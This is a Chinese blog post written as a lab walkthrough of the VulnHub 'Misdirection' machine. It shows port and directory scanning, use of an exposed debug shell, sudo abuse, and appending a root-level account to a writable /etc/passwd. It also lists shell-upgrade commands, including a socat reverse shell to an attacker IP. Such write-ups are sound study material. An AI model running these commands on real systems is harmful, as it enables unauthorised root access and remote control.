VulnHub记录:Misdirection

标题看起来仿佛有诈似的。

fscan,看到暴露了4个端口:8080、3306、80和22. 密码在fscan字典下没爆出来。

先上Wappalyzer,80上看起来是个用web2py写的玩意。

dirsearch/admin页面有点东西,结果点进去提示管理因不安全通道而关闭,搜了一下,是web2py的后管页面在非HTTPS的情况下不给开。/examples页面提示了web2py的版本是2.18.5. 搜了一下,有一个XSS的洞,但先不急着试钓鱼吧。遇到好几道CTF题考察XSS时喜欢做个脚本自动上钩,我个人感觉有点恶心,不知道OSCP考不考。

再看看8080,扫出来/debug/development,甚至有/shell/wordpress

/debug页面是真有个shell啊,神奇。用户flag就放在/home/brexit/user.txt,然而www-data没有权限触摸。内核版本是4.15.0-50-generic。试了下curl,可以出网。这不安排个反连马+提权?

再看看3306,从/var/www/html/wordpress/wp-config.php里偷的密码用不上,IP被ban了。

提权:本地gcc版本太高,编过去会爆炸,笑嘻了。对面用的是ubuntu 18.04,我本地版本太高了。换个低版本的编一下试试。结果还是失败,仔细看payload,原来要自己找gadget啊,那先摸了,找点懒人方法先。

反连马:能不能把本地的web2py带出来然后进行一个后管的看?结果发现因为参数写了password=None,后管界面并不开启。

不过这里我们sudo -l一下(唐突),发现有一句

User www-data may run the following commands on localhost:
	(brexit) NOPASSWD: /bin/bash

也就是说我们可以执行sudo /bin/bash -c "/bin/cat /home/brexit/user.txt"提权到brexit并拿到user.txt。

而且还注意到(唐突),ls -altr /etc/passwd其组权限是brexit而且有w权限,也就是说我们可以往里面塞一个黑色高级账户。

生成一个加盐密码,用户是嘉然,密码是123456

openssl passwd -1 -salt jiaran 123456

得到$1$jiaran$NlEcCYt.mFOK8ODRs9wyp1,灌进去:

sudo -u brexit /bin/bash -c "/bin/echo 'jiaran:\$1\$jiaran\$NlEcCYt.mFOK8ODRs9wyp1:0:0::/root:/bin/bash' >> test"

然后试图sujiaran时被告知一定要有terminal,气急败坏。bash反弹shell并不顶用。这个时候在网上学到了把简单shell提到交互shell的命令 python -c 'import pty; pty.spawn("/bin/bash")'

cat /root/root.txt,游戏结束。

注:如提shell那篇文章所言,还有几个其他办法,这里记录一下:

# ---使用python-
python -c 'import pty; pty.spawn("/bin/bash")'
# --------------

# ---使用socat--
# 在攻击机
socat file:`tty`,raw,echo=0 tcp-listen:4444
# 在靶机反连
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
# --------------

# ---使用stty---
# In reverse shell
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

# In Kali
$ stty raw -echo
$ fg

# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>
# --------------
posted @ 2022-12-12 22:18  PredmetCh  阅读(32)  评论(0)    收藏  举报